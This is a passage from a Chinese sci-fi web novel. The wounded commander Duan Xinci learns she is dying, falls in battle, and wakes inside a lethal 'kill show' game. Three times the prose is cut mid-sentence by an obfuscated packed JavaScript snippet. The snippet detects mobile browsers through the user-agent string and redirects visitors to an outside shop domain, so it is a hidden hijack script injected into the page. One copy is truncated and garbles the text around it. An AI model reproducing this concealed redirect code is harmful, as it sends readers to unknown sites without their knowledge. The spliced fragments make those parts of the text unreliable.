它们极少出没,人类对SSS级虫族的了解甚至没有百分之三。 往年遇到零星两三只,都是依靠人命填进去的……五只3S,下属说除了段心慈全军覆没她都觉得正常无比。 ‘偏偏……无人阵亡???’ ‘裴柯利哀·劳伦斯…当初究竟选定了怎样一头怪物……’ ‘……他真的知道自己在做什么吗?’ 这样的人可以做元帅,甚至取代她江灯做总指挥……江灯不会有半句异议。 但是会长? 她和二代之间总有一个是疯子。 寒意爬上江灯的脊背,她顺着下属的话附和却心不在焉。 江灯表现得太明显,下属敏锐觉察到她的不安,逐渐沉默。 在下午的会议上,江灯听着一众高层对三代如同神明,毫无底线的吹捧,眼底寒意愈重。 战神,希望,燎原之火……有段心慈的地方就有胜利。 ……哈。 一群蠢货。 他们在说什么疯话…… 会议结束的夜晚无比寂静,江灯靠在床头点开白天前线发来的视频。 从晃动的镜头就可以看出录制视频的人究竟有多兴奋,虫族狰狞的残肢断臂漂浮在宇宙中,其中没有属于人的。 江灯不能感同身受这份兴奋,她的目光紧紧跟随在那道深色的身影上。 歼星炮轰不碎的SSS级虫族,在段心慈精神链构筑的刀下如同黄油融化…被轻而易举劈成两半。 5只,各自领了五刀就死了。 没有她以为花里胡哨的战术,没有打斗技巧。 只有最野蛮、存粹的暴力。 江灯盯着屏幕里那张苍白得不健康的脸,灰暗沉静的眼瞳里转身即逝的癫狂…… ‘啪嗒——’ 联络环掉在地上的声音清晰可闻。 她不会是……最后一个看到这份视频的。 ……对吧。 全息屏幕反复播放段心慈屠杀高阶虫族的过程,江灯完全不想去看。 作为三代会长唯一的副官,她不得不看。 白天几经压抑的惊悚之感侵占了江灯的全部心绪。 她想起会议室里那群高层对段心慈神乎其神的吹捧。以及就在前天,医疗部正式确认的疾病——SW精神逸散。 SWP值越高,越容易在后期逸散,崩溃。 一条条,一例例……哪一样单独拎出来都是致命的存在。 现在已经是23点,还有一个小时就是明天。 再过七个小时就是天亮。 江灯不想等什么狗屁的天亮。 23:01她拨号前线的通讯—— 忙音。 忙音。 还是忙音。 最坏的设想成真,她成了最后一个看到这份视频的人。 而先前看见这份视频的每一位高层都心照不宣地选择瞒下。 他们算准了江灯打开视频的时间,绝不会是在会议前。 ‘他们到底打算做什么?’ 江灯咬紧牙关:‘那群眼里只有自己利益的疯子!’ 他们是要让段心慈一无所觉在这个位置上燃烧到最后,连骨灰都不剩下吗?! 这是背叛。 江灯第一次使用特权,直接拨通段心慈的联络号。 ‘拜托。一定要接。’ 冷汗顺着脖颈滑进衣领,每一秒都如此难挨。 直到—— “江灯?” 段心慈的声音响起。 “我这边一切都好。” 江灯浑身脱力地靠在冰凉的床板上,用手背抵住双眼:‘不,你不好。’ “……段。回来。” 副官知道这个要求对于出征在外,年轻的统治者来说太无礼,且没有充分的理由。 但在所有人都选择隐瞒段心慈可能患病的情况下,她能说的东西都太苍白,片面又没有说服力。 ‘不如不说。’ 江灯是这样想的。 “……理由?” 通讯另一端,段心慈暗自腹诽:将在外还君命有所不受呢。 怎么到她这里还反过来了。 房间里,青年的声音有些失真。但毕竟还活着。 江灯做了个深呼吸,冰冷的空气灌进肺部帮助她顺利压下即将崩溃的声线:“我这里,有一件事。” “只能你亲自来做。” ‘SW健康测试。’ “只有你。你要回来。没了你不能行。” 她竭力使自己的语气听起来足够镇定、可信。 只要三代会长自己提出回总部,不会有任何人阻拦她。 若是有那个不长眼的蠢货阻拦她,段心慈也会自觉事情出了问题。 漫长窒息的沉默里江灯心跳如擂鼓。震耳的闷痛让她喘息困难。 “江灯,你有事瞒着我。” 段心慈叹气道:“我现在就赶回去,明天早上九点我们就能见面。” “那时请务必给我一个解释。” 三秒后,通讯终断。 江灯仰面躺在冰凉的床铺上,难得茫然。 其实她已经做好了被段心慈拒绝的准备。 那样她会亲自去前线,不惜赌上自己的性命也要把把段心慈带回集会总部。就算会被那群以自我为中心的疯子追杀到天涯海角…… 段心慈之前不曾让她为难,这回也一样。 ‘那个孩子,从来……很好说话。’ 江灯咽下口腔内浓郁的血腥,独坐到天明。 她或许永远不会知道,那个夜晚段心慈同样未眠。 一封来自集会总部的密报被放在年轻统治者的桌面上——关于‘手谕’。 关于—— 江副官的忠诚。 * 第二日 9:00A.M. 上身着黑色高领打底衫,下身同色工装长裤,踩着作战靴,身上还带着前线浓郁血腥气息的段心慈已经站在江灯的面前:“江副官,日安。” “会长日安。” 江灯看着眼前意气风发的青年,心底又默默数了一遍段心慈的好。 不横征暴敛,+10分;不以势压人,+20分;不荒淫无度,+30分;不官僚主义,+40分…… 已胜过百分之九十的集权统治者。 段心慈不知道江灯在心底夸她。她还在想如果江灯真的要杀自己,逃跑路线该怎么选。 至于杀死江灯,她没有想过。 “叫我回来是有什么事吗?” 江灯把段心慈带进医疗室,边走边说:“带你做个体检。” “……?” 段心慈怀疑自己耳背了:“只是体检就把我叫回来了?” ‘我是什么随叫随到的家伙吗?’ “反正你已经回来了,先做个体检我们再谈不迟。” 江灯发自内心地希望这一切只是她虚惊一场。 段心慈:“……” 一小时后,医生把江灯叫了进去。 “SW逸散初期。” 医生还说了什么,中年副官已经听不见了。她感到一阵眩晕,尖锐的耳鸣在脑内爆开,眼前一黑,副官栽倒在地。 再次醒来的时,她看到坐在自己病床边的段心慈。 长发青年正在耐心地用水果刀削一只苹果。发丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509248|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松散地垂落两侧,遮掩她由锋利筑就的美貌。 江灯自觉她现在的精神状态就同三代会长刀下卷卷薄薄的苹果皮,岌岌可危、一扯就断。 苹果很快就削完了,看着已经醒来的江灯段心慈犹豫片刻……将已经削好的苹果递向自己的副官。 江灯抽了抽嘴角。一个苹果而已,不至于。 “你自己吃。” 段心慈没有再递,自己三口两口啃完,苹果核被随意扔进垃圾桶。 “你……” 江灯张开嘴,却不知道自己该说什么。 你生病了。 在人类平均年龄已经高达150岁的世界,你甚至活不过25岁。 她不能这么说。那太直白,太残忍了。 “江副官。” 段心慈随手打了两泵免洗消毒剂,苹果汁液沾染的粘腻被彻底洗净。 江灯的心脏猛烈收缩。 无端的,她知道段心慈接下来要说什么。 青年略显空洞的视线越过病床,虚虚地落向窗外黑沉的星空:“我快死了。” “你们可以开始继续物色下一任继承者,如果需要…我也会帮忙的。” 段心慈表现得太镇定了。 没有不甘,没有失控。 ……没有对活下去的渴望。 江灯一把掀开被子走下床,她站在段心慈面前,双手按住青年的肩膀:“你还活着。” “你活一天,晶体集会就永远不会有下一任。” “除非是你钦定的人选。” “……” “江灯。” 中年副官有预感段心慈接下来要说的话绝对不是自己想听见的,但她无力阻止只能看着那血色浅淡的嘴里说出令人绝望的话语—— “我想回前线了。” ‘你在想什么?’ 江灯试图从那双暗淡略显空茫的眼中找到答案。 “你不一定会死。” 她以为段心慈是被吓到了,于是蹲下身安慰道:“研发特效药并不需要很久。” “最多一两年。况且你只是初期,到恶化还需要三四年的时间。” “我知道。” 段心慈垂下眼帘:“但是我留在这里,什么也做不了。” ‘还不如趁我病要你命,去前线多杀几只异族。’ 15岁辍学接手晶体集会,段心慈对自己的定位很清晰:二代钦定的战争机器。 为了稳住她,不得已让自己坐在三代会长的位置上。 江灯从来不知道段心慈是这样想的。 尽管从某种程度上,段心慈说的没有错。 她不懂人心,不懂政治。不会那些钝刀割肉,蛊惑人心的御下手段。 留在晶体集会总部,能做的少之又少。 去前线耗尽最后一滴血……是除段心慈以外,对所有人来说最好的选择。 先前执意将真相告诉段心慈,是因为她认为段心慈有知道真相的权力。 但现在,她已经知道了。并且做出那个让所有人都长舒一口气的决定。 江灯想,自己应该感到高兴的。 但是为什么……好像喘不过气。 副官没有说出什么违心的阻拦话语,段心慈就明白江灯的立场与态度了。 对方毕竟是……裴柯利哀·劳伦斯留下的人。 “谢谢你,江灯。” ‘愿意告诉我真相,没有让我不明不白地送死。’ 毕竟有选择和没有选择是不一样的。 她领情。 ……江灯成功被恶心了一把。 不是因为段心慈,而是被自己的伪善恶心到了。 她甚至怀疑自己是不是无意间用了什么下作手段在三代会长身上。毕竟对于江灯等一种高层来说,PUA身边人就像呼吸一样不需要经过思考。 “能告诉我,为什么还是要去前线吗?” “如果你选择留下养病,我会站在你那边。” ‘求你,改口吧……’ 江灯想:‘三四年的时间,人类并非等不起。’ 只是多死一些人而已。 和段心慈的命(能瞬杀SSS虫族的人类强者的命)相比,再多的命往里填都是值得的。 “战争会死很多人吧?” 段心慈疑惑:“再死下去人类就要在星际除名了。” “我已经找到无伤亡赢下去的方式了。” 江灯:“?” ‘合着不是偶然吗?’ 就听段心慈气死人不偿命地开口:“只要他们都不上战场就好了。” “会长,你再说一遍???” 江灯失声质问,她简直不敢相信段心慈刚刚说出什么疯话。 中年副官腾地一下站起身,人在空荡荡的病房里踱来踱去:“天啊……你到底在前线做了什么……” “什么叫不让战士上战场?!” 她崩溃地喃喃自语:“怪不得那些老东西对你赞誉有加……合着是把子孙全都送去你那儿无伤镀金去了!” 段心慈往椅背上靠了靠:“……” “会长,战争就是要死人的。” “护得了一时护不了一世。你不可能一直护下去……” 江灯逼近段心慈,几乎是喊出那句残忍的话:“你会死!或许只是这几年的事又或许是百年之后!” “而你死后,那些被三代会长守护过的人会变成连枪都抬不起的待宰羔羊!“ “……这片宇宙,容不下废物。” 积攒数日的压力爆发过后是极致的窒息。 “晶体集会的军人津贴也不会发给一群只会躲在强者身后,贪生怕死的……废物。” 江灯后退数步,颓然坐下。顺势看见段心慈愣在那里,茫然的情绪。 “但是,如果我不这样做,他们就会……” 副官听见自己效忠的会长试图用比较负面化的词汇来试图让自己接受她的想法—— “变成尸体。” “……那是他们该做的。”江灯硬邦邦地说。 那场谈话后来变成什么样,活了两世的江灯已经记不清了。 她唯一记得是段心慈最后离去,奔赴前线的背影。 青年临行前对自己的副官说:“我接受不了。” “我可以让他们活下去,就做不到眼睁睁看着他们去送死。” 江灯在愤怒之余感到一丝诡异的欣慰。 大概是在耗子窝里捡到猫的奇异心理作祟,她不再把自己的念头强加于段心慈。 ‘就让那个人放手去做吧。’ ‘初代死得也很早。’ 江灯在心里大逆不道地自我安慰着。 至于那些贪生怕死的东西,她会全部处理妥当。阴鸷的杀意在江灯的眼底一闪而过。 那时她不曾想过,下一次见到自己效忠的会长,却是生离死别。 21. 死亡的四重结局 漫长,绝对的黑暗与寂静。 仿佛进入绝对的寂静,时间与空间都被拉长,但终究并非难以察觉。段心慈仍能听清四周似有若无的节节锁链摩擦而产生的铿锵之音。 直到格外熟悉、恍若隔世的提示音响起—— 【恭喜玩家:段心慈】 【谢幕-宇宙副本:现实世界】 【副本评级:SSS】 【获得筹码:1金币】 【达成成就:无冕之王、两重盛世】 【时间神域:又见面了,蝼蚁。】 “……冷嘲热讽的语气,真是糟糕啊。” 虹膜中央,死寂无光的黑色从瞳孔内不断扩大、蔓延,最后只剩下薄薄一层中灰死死嵌在虹膜边缘。 猩红的火焰在黑暗里跳跃、烧灼,直至完全替代原本的瞳孔。 火焰舔舐着黑色的深渊,意图将人最后的冷沉也侵蚀。 段心慈睁开眼。从这一刻起,没有人会怀疑,世间最无生机的残灰冷烬也能在这双眼瞳的注视下被重新点燃。 血色浅淡的唇扯出一个平静又疯狂的笑容:“又见面了,代号十。” * 星历74571年-寰宇9年 墓海战役 对杀戮的渴望盖过骨血中撕裂,烧灼的痛感。 段心慈目光森冷,她手中的长刀劈开战舰。 于是战舰中的身影只能狼狈地跌出。 “段……” 漂亮的,雾霭蓝的眼睛里满是痛楚。这双眼睛属于眼前这头早已鲜血淋漓的鲸族。 “段,不要难过……” 锋利的刀身捅进柔软的腹部,随着刀刃抽离,淡蓝色的血液溅出一道弧线。 好像有什么温热的东西从自己的眼眶里落下来了。 段心慈意识模糊地想。 “……段,你不要难过…” 蓝发被血浸透,黏在鲸族青年的脸颊上,他艰难地伸出手:“我……还有我们……知道的。” 临死前一个冰冷、带血,不可磨灭又转瞬即逝的拥抱被短暂的给予那一刻,同样濒死的段心慈。 “这些都…不是我们的本意。但…战争……就是这样。” 雾霭蓝发色的青年还有很多话未曾说完。 譬如:‘我来到这里背负的是挑起战争的使命,早已接受命运并欣然效忠我的国度,我的族群,发誓决不有一丝一毫的懈怠。’ ‘但是段,见到你我仍然很高兴。’ ‘死亡不是终点,至少,不是长生种的。’ ‘下一次相见,段,我不想再站在你的对立面了。’ 还有…… ‘将战火烧至你的家园,我们很抱歉…很抱歉……这不是我们的决定,却无力阻止……对不起…段……’ 很多很多未尽的话语,包括那句痛彻心扉的对不起,他终究没能及时地说出口。 雾霭蓝的眼睛彻底暗下。 段心慈恍惚地意识到,它们再也不会亮起。 “……对不起。” 这句话最终要由谁来承担。 长刀坠落,杀欲褪去,精神链崩毁的疼痛像攀附在骨髓中的虫蚁,席卷吞噬了她的全部感官。 没有人能在战争中全身而退。 无论是挑起战争的人,亦或是…… 回应战争的人。 段心慈很久之前就明白这个道理。因此在死亡来临的这一刻,她只觉得安稳。 是的,安稳。 她不必再去追寻什么,也可以放下手里的刀。平静地忍耐疼痛,直到那一刻来临。 浅淡灰暗的瞳孔扩散,眼前场景逐渐变成扭曲的色块。 段心慈艰难地从斑驳的色块中分辨出江灯正面色焦急的奔向自己。 玄色发丝的青年很想告诉自己的副官,别救了。 浪费医疗资源还要活受罪,但她连开口阻止的力气都已经失去。 ‘inK……你也死了啊。’ 精神力的幻形也死去。 段心慈意识一片混沌。 生命的最后时刻,她忆起那个被她亲手创造,用以回应战争的‘杀戮机器’。 ‘……我的…错误。’ 而在三百米外的地方,一对褐绿色的眼瞳微微眯起。 短发青年身旁宽大的锯齿叶片卷过通讯器,将通讯器糊上一层水渍,他接过精神力幻形递来的通讯器。 “斩首行动失败。任务目标已死亡。” “……等等,你说什么?再说一遍?” 通讯器那头的人不可置信:“法尔·艾莫什·林!如果你还想让你的养母活下去,就给我讲清楚!” “…我说了。那条疯狗已经死了。她和柯莱特同归于尽,我没能来得及动手。” 通讯器那头的环境嘈杂了一瞬,接线员沉默片刻道:“……好,我们了解了。你现在可以回家。” “还有,很遗憾地通知你,你的养母林,于三分钟前抢救无效死亡。” “请节哀。” 在得知养母死亡的那一刻,周围的一切都被放慢,拉长。 法尔听不进去任何话语。他挂断通讯器,面色麻木地靠在树干上。 “……哈。” ‘这就是我效忠的吗?如果能够重来…’ 一颗子弹自身后的阴影重重的密林里射出。 子弹穿透树干,穿透法尔·艾莫什懈怠的胸膛,炸开血花。 他倒在地上,生机彻底断绝。殷红的血喷溅在灌木丛中,滴滴答答地坠落。 遥远的树林里,对讲机里模糊的对话:“报告长官,叛逃者已处死。” “做得不错,你可以回来了。” “……是。” * 在意识回归虚无前的一瞬,段心慈除了庆幸自己死得够快,没能让江灯浪费医疗资源以外,她唯一想起的是,墓室暗门后培养仓中的那具身躯。 另一个,她。 那个完美无缺的,战争机器。 自称系统,居高临下的声音在耳边响起—— 【这里是无限·代号十·时间神域】 【欢迎来到——新人的坟墓!旧人的葬礼!蝼蚁的狂欢会!】 【初始登录即赠上吊麻绳*1】 “……我应该死了。” 段心慈两眼空洞,但对于自己是死是活这件事依旧有足够清晰的认知。 【你确实死了,死在21岁。】 系统宽慰她: 【但是不要紧,21岁这个年纪除了结缗,做什么都是黄金时期!从战场退役的你难道不想来一场惊心动魄的杀戮演出吗?】 【加入我们,死而复生的机会近在咫尺。】 似是看透沉默之下的拒绝,系统贴心地补充—— 【而且,重回死亡状态的唯一方式只能是出演上吊呢~】 “……” 段心慈慢吞吞地从地上爬起。 右侧肩胛骨的伤口看似愈合,内里的骨肉却还在隐隐作痛。 “我还能活。” 【聪明的决定!】系统打了个响指。 【代号十·时间神域——玩家守则:】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509249|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【①竭尽全力地逃命吧,蝼蚁。】 【②一切解释权以及审判权均归代号十·时间神域所有】 不给玄发青年任何反应的机会,撂下一句【祝好运。】后,系统便消失不见。 只剩段心慈孤身一人站在由残肢断臂构成的尸山血海里。冷风吹过,一股浓郁的、令人作呕的油脂腥气扑面而来。 压下反胃的冲动,一脚深一脚浅地踩在黏稠腐烂的尸体堆里。她庆幸自己死前穿的是作战靴,而不是图省事的便装。 想到这里段心慈脸色更差劲。 ‘我是下地狱了吗?’ 想到自己生前做过的事,包括但不仅限于种族灭绝、屠杀星球…… 段心慈:“……” 突然觉得这样的结局才是最正常的。 时间回到此时此刻。 历经波折的青年再次回到这处充满血腥,阴谋,刀光剑影与明争暗斗交织的剧场。 她曾一度被迫遗忘,困囿灵魂的地方。 遗忘是小事,困囿也不是大事。 在某种程度上,段心慈是一个非常随遇而安的人。 但谁让她在寰宇遇到斯格威尔,那团上刑场还是一滩烂肉的家伙。 少见的,伺候在【主教】身边没有被当成补品往嘴里送的幸运儿。 为这份殊荣她特别多看了两眼,多出的注视让段心慈在今天不至于依旧像个无头苍蝇似得乱撞。 【极夜殿堂】与【极夜堂】仅仅一字之差,她从前并未将二者联想。 死后的世界能对生者的世界插手,在那时还是唯物主义的段心慈看来就像黄油面包猫理论一样无厘头。 况且她继位时【极夜堂】的势力早已在整片宇宙销声匿迹。 裴柯利哀·劳伦斯已经尽力为继任者留下只需要对外征战,内里较为平稳的时期。 只要段心慈能证明自己的实力另外不搞苛捐杂税那一套,她的声望不会差。 然而劳伦斯的意外死亡(或许早有预兆),让她不得不中途辍学接手一大堆烂摊子,面对复杂的党派之争已经让当时年仅15岁的段心慈处境极为不妙。 想到自己在寰宇世界遇到的复杂情况,段心慈揉了揉额角。 恢复记忆的她当然明白裴柯利哀·劳伦斯开枪的意图。 那枚子弹就像群聊刷屏里的【+1】,没什么实际作用。 仅仅是表明自己相同的态度(或许还带了初代的那一份):腐败烂透的晶体集会没有再留存的必要。 随后继续进入消失的状态,好像死了一样。 段心慈只觉得荒谬。 代号十对她过往世界的插手又是从什么时候开始的? 是魔盒……还是更早? “……时间。” 仇者的名讳。 “绿赛图斯。” “你我都不会等待太久了。” 脑海中思考许多,现实只流逝一瞬。 周围高饱和、高明度的彩色射灯以及亮得能映出人影的半透明玻璃黑墙,还有震得人耳膜发痛的背景音乐。 【杀戮秀】周年庆。 ‘该说不说时间确实挑了一个好时间。’ 地下数十千米深处,食肉虫群嗅到血腥的气息。 闻到食物的味道的食肉蠕虫瞬间睁开腥红浑浊的复眼,直起十余米长的臃肿上身。 黑漆漆的舞厅地面骤然碎裂。 看似坚硬的地壳被庞大虫群顶开,口器似花瓣开裂,露出那些藏在褶皱中密密麻麻的利齿。 长发青年站在原地,一动不动。 22. 代号十时间神域 长发青年身旁数条半透明弹幕飘过—— 【完了,又是一个送死的。】 【楼上你在说什么疯话,这周年庆杀戮秀!】 【就是就是,不想看死人就滚出去。你不看我们还要看。】 【说起来,这次的杀戮秀场,TOP们去了不少。】 【啊哈,我知道。据那些疯子的说法是:庆祝首席大人失踪1周年。】 【狂欢!PARTY!】 段心慈没仔细看弹幕,但猜也能猜到那群看热闹不嫌事大的观众会说些什么—— 无非是高兴又见到一个送死的家伙,或者庆祝TOP.1失踪之类的风凉话。 可惜,不管是谁都要失望了。 青年下意识从背包空间中抽出那把最常用的电锯,结果抓了个空。 “真是抠搜啊,代号十。” 段心慈看着俯冲而下,口器大开的食肉蠕虫感慨。 她还没销号呢,怎么连道具栏都清空了? 【……我是真没话讲,临阵磨枪不快也光,怎的这位连武器也不带?】 【看淡生死!好!】 【这才是我们的榜样,才不要像首席那样卷生卷死最后下落不明。】 【真就娱乐至死呗你们?】 【别吵了,这家伙没死。】 段心慈闪身避开怪物致命一击。 如果代号十没有改动,她记得食肉蠕虫的弱点是—— 腹部。 说时迟那时快,另一只食肉蠕虫正抬起倒刺密布的上半身试图压向‘食物’。 无视蠕虫臃肿肥大的身躯,青年足尖点地原地跃起,当对手的体积大过自己许多倍时,她有一个更加偏爱的做法—— 拥有巨大力量的苍白五指直直插进食肉蠕虫的咽喉,黏腻的水声令人作呕。 跳动痉挛的链状神经系统被段心慈攥紧,粗暴地拽出体外。 神经在段心慈手中一突一突地颤动,没等它反应(失去神经系统的生物也反应不出什么)青年扯断神经,一拳砸进蠕虫的腹腔。 力量全失的时刻她尚能轻易砸碎星际世界中45厘米厚的金属化玻璃窗,如今再次回到代号十,打碎一头食肉蠕虫的腹部也不过是轻而易举。 第一头食肉蠕虫就这样绵软地倒下。 随后的30分钟,或许就同周年庆的名字一样。 是独属段心慈的个人杀戮秀—— 扯出蠕虫跳动的链状神经。 拽断。 一拳砸碎腹部。 重复以上步骤。 甚至连闪躲的动作都不曾出现,很快她周围积起厚厚一层的食肉蠕虫尸体,空气里弥漫着腥臭的血气混杂着一股奇异馥郁的艳香。 那是食肉蠕虫死后散发的气味。 秀场外,观看这场直播的观众无不是一副见鬼的表情。 这熟悉得不能再熟悉的手法……还有格外眼熟的穿搭风格。 上衣永远掖在裤腰里… 荧幕外一些观众恨恨磨磨牙:‘她怎么不干脆把大衣也一起塞进去算了?’ 【……】 【…哈哈。】 【早说了!倒霉鬼们,不该念的不要念!】 这一回没人再去反驳楼上。 【请问,谁有TOP.6老大的联系方式?老大还是和以前喜欢给人办葬礼吗?】 【Carro老大就算办也轮不到楼上,蝼蚁。】 【……好伤心。高价送楼上一份两式通缉令。】 段心慈在下一波怪物出现之前,精准地找到正在负责直播的摄像头。 一只翅膀扇动略显僵硬的蜂鸟。 她一把攫住振翅的蜂鸟。密密麻麻的摄像头藏在蜂鸟的羽小钩内,而非在于那双乍看灵动的眼珠。 蜂鸟无力地拍打几下翅膀就不再反抗,反正代号十也无法因此判定它消极怠工。 青年对准镜头扯开一个悚然的笑容。 场外观看直播,猝不及防与段心慈对视的场外玩家:“……” 实在很难界定这是一个怎样的笑容,究竟有几分出自真心?几分假意? 但其中恶劣的嘲讽和玩弄猎物的模糊杀意实在毋庸置疑。 【……哦好极了。我们的好日子就要从此一去不复返了。】 【两眼一闭看不见任何未来】 【瞎说什么,这不是一眼就望到头了吗?】 【针对TOP.1的追杀通告已经发下去了,有没有敢死队?】 【有的,同伙,有的。但是你确定要浪费金币?】 没理会那些飞快滚动的弹幕,段心慈身后传来一阵血肉摩擦产生的黏腻水声。她随意将监控的尸体扔至一旁,回过头。 2S级BOSS:悲戚之瞳。 一颗庞大的,占据半边天空,永恒落泪直到短暂生命结束的浑浊眼珠。 在悲戚之瞳注视下无论是灵魂还是躯壳,都会回溯到过往中最后悔的时刻。 许多玩家正是在无尽懊悔中被那些从眼球背后延伸出的神经触须探入皮下、伸入血管,最后悄无声息地被了结性命。 而现在,这颗眼珠就在山丘后一动不动地注视着段心慈。 ‘……时间,真是无所不用其极啊。’ ‘后悔?我早就没有后悔的资格了。’ 胃里翻江倒海的作呕感几乎要将她活活逼疯。黑沉眼珠里,杀意犹如某种迫切挣脱黏卵的活性物质,狰狞地游动。 代号十的系统面板里是这样形容青年所拥有的力量—— 【攻击数值:九千亿+】 【系统评价:力能移星,仍有尽头】 如今,段心慈全力挥出的一拳,正中2S级BOSS的瞳孔。 几乎是在瞬间,悲戚之瞳从中心崩裂,肢解,浑浊的瞳孔支离破碎。 红红白白的眼珠就这样外力下爆开,漫天肉块噼里啪啦地掉在地上。 处在正中心的人身上也被黏腻肉块和血水浸湿。 2S级BOSS就这样被一拳打碎。没有技巧,只有最纯粹的暴力。 【……耶~这下我们可以知道,首席的地位是不会动摇了。】 【不止。悲戚之瞳的破碎是在她挥出拳的那一刻就开始。】 【而不是触及的那一刻。】 【真就一招秒啊……】 【说了这么多,有没有体面一点的死法?】 【自尽去吧,懦弱者。】 【我和你们不一样,我更好奇首席大人为什么不躲?以她的能力躲开那些碎肉块是很正常的吧?】 余光扫过弹幕,浑身被血浆浸透的段心慈动作一顿。在二分之一灵魂的控制下她注射了【长生】…那份未知的陪葬…… 但为时已晚。 即便注射【长生】,灵魂归于圆满。有些习惯早已深入骨髓,在短时间内无法更改。就比如她依旧享受被温热鲜血浸透的瞬间。 血腥萦绕,狩猎成功的喜悦与快感同时填满大脑,餍足的情绪里意识昏昏欲睡。 【呃呃,楼、楼上,你得知道代号十里全是变态、疯子,无一例外。】 【但有的玩家是变态中的绞肉机,疯子中的佼佼者……】 就比如TOP榜单上的那群疯子,变态精神病。 而作为玩家首席的段心慈…… 想到这里,屏幕外的玩家们齐齐打了个冷战,不愿再回忆下去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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艾里门无视沃土中沉闷的哀叫,出拳砸碎那颗唯一暴露在土壤外的眼球上。 鲜血混着透明的液体粘在她的指关节,剧场BOSS终于不叫了。 “我希望最后再向你确认一遍。” 【屠夫】并不乐意同这个无论是实力还是身高都格外有压迫感的家伙有太多交谈。 谁让他因为金币接下了【极夜殿堂】的任务呢? “你……” TOP.5顿住。 “我恨她。” 艾里门·歌德直起身,无情地打断【屠夫】穆格罗即将出口的话。 “现在,带着你的试探和任务。滚。” “……”好吧。 【屠夫】穆格罗悻悻离开。 看?前往的方向,和先前几人并无差别。都是段心慈所在的杀戮秀场。 ‘恨?代号十里从来没有能诉诸于口的恨。’ 穆格罗摇摇头。 【地母】艾里门·歌德蹲坐在湿润的泥土里,戳着那颗碎得不能再碎的眼珠:“…我恨她……” “段心慈,我恨你。” ‘两个都是。’ 艾里门·歌德站起身,朝【屠夫】方才离去的地方走过去。 “我应该杀了你。” ‘又或者,你大可以杀死我。’ 她的嘴唇无意识地抿着,那个下意识脱口而出的称呼被死死埋葬。 23. 回忆如血埋葬我 段心慈这会儿正百无聊赖地靠在走廊转角,等待下一个BOSS登场。 杀戮秀就是这样…打完一个接一个,杀完一群又来一群…… 直到脚步声自她身后响起。 “首席大人在等什么?” 一米九四的身高让来者看起来极具压迫感,白色高领毛衣遮住她的下巴,随意套在身上的浅色长款风衣随风扬起。 棕色半卷长发的青年单手插兜微微弯腰,偏过脑袋。 于是那张缠满纱布,只有一双深棕色眼瞳露在外面的面孔顺理成章映进段心慈的视线。 TOP.4-【地母】。 “不好意思,首席大人。你的3S级怪物被我杀死了。” 艾里门·歌德洋洋得意地从身后掏出一只死老鼠——或者说,是被迫变成死老鼠的秀场BOSS。 如果整个代号十注定要有一个人在面对段心慈这件事上最容易被当枪使,那么无疑是TOP榜第四名:【地母】-艾里门·歌德。 这一点无论是磨磨蹭蹭的【屠夫】穆格罗,使用幻影而非真身踏进段心慈场地的【织觉人】忒尼斯·厄洛诺斯,双眼蒙着白底金纹绷带装作无意路过的【虔诚者】卡利安·尤菲,又或者是来者不善的【主教】…… 以及代号十内所有对此有所了解的玩家,都无比认同这一点。 “……你已经成年了,艾里门。” 段心慈双手插兜,头也没抬地答她:“不要玩老鼠。” “……” 艾里门·歌德噎了噎。 许久未见,段心慈的嘴依旧歹毒。 ‘这是老鼠的事儿吗?’ ‘这就不是老鼠的事儿!见鬼,是我在挑衅你!’ 【真是意料之外情理之中的包容心。】 【我说够了,忮恨艾里门不是一天两天了!】 【当初派【地母】刺杀段心慈的那群人呢?有没有解释?】 【没有解释,只有骨殖。】 【冷笑话吗?有意思。】 有些人和事,从来都没有变过。 棕发青年的记忆回到第一次遇到段心慈的那个正午。 回忆里铺天盖地是血液馥郁腥苦的味道。 【地母】本以为那段记忆在整整一年的刻意淡忘下早已变得模糊不清,直到此时此刻她知道她错了。 错得离谱。 那记忆鲜艳得几乎将她整个人都溺死在其中。 掌心里一瓶冰冷的毒药膈得她全身发抖,稚嫩的棕瞳里倒映出尸山血海中那唯一屹立的身影—— NO.99。 段心慈。 她的毒杀目标。 ‘她看到我了。’ 她的牙齿在打颤。 ‘那些疯子……是让我来送死的。’ ‘这根本就是个怪物。’ ‘怪物’在艾里门的注视下走近,那双黯淡的眼珠里是猩红摇曳的疯狂。 曾经被那时的艾里门视为短暂一生中最后见到的景色。 在对方目光扫过自己右手的时刻,她无比深切地意识到,自己的毒杀计划被发现了。 灵魂尖叫着要逃,要离开。双腿却像拖了千斤重似的无法挪动哪怕一步,只能任由段心慈靠近。 棕色的瞳孔里有畏惧,恨意,后悔,却唯独没有求饶与泪水。 青年蹲下身,在艾里门的注视下一点一点将那瓶毒药从她的手中拿走。 “我走了。” 段心慈伸手在那双棕色的眼睛前晃了晃,随后站起身准备离开。 极端恐惧里,艾里门·歌德下意识拉住那个怪物身后的腰带。 ‘活下去。’ 她的眼睛说:‘我不要死。’ 玄色长发的青年将孩子柔软的手从腰带上移开。 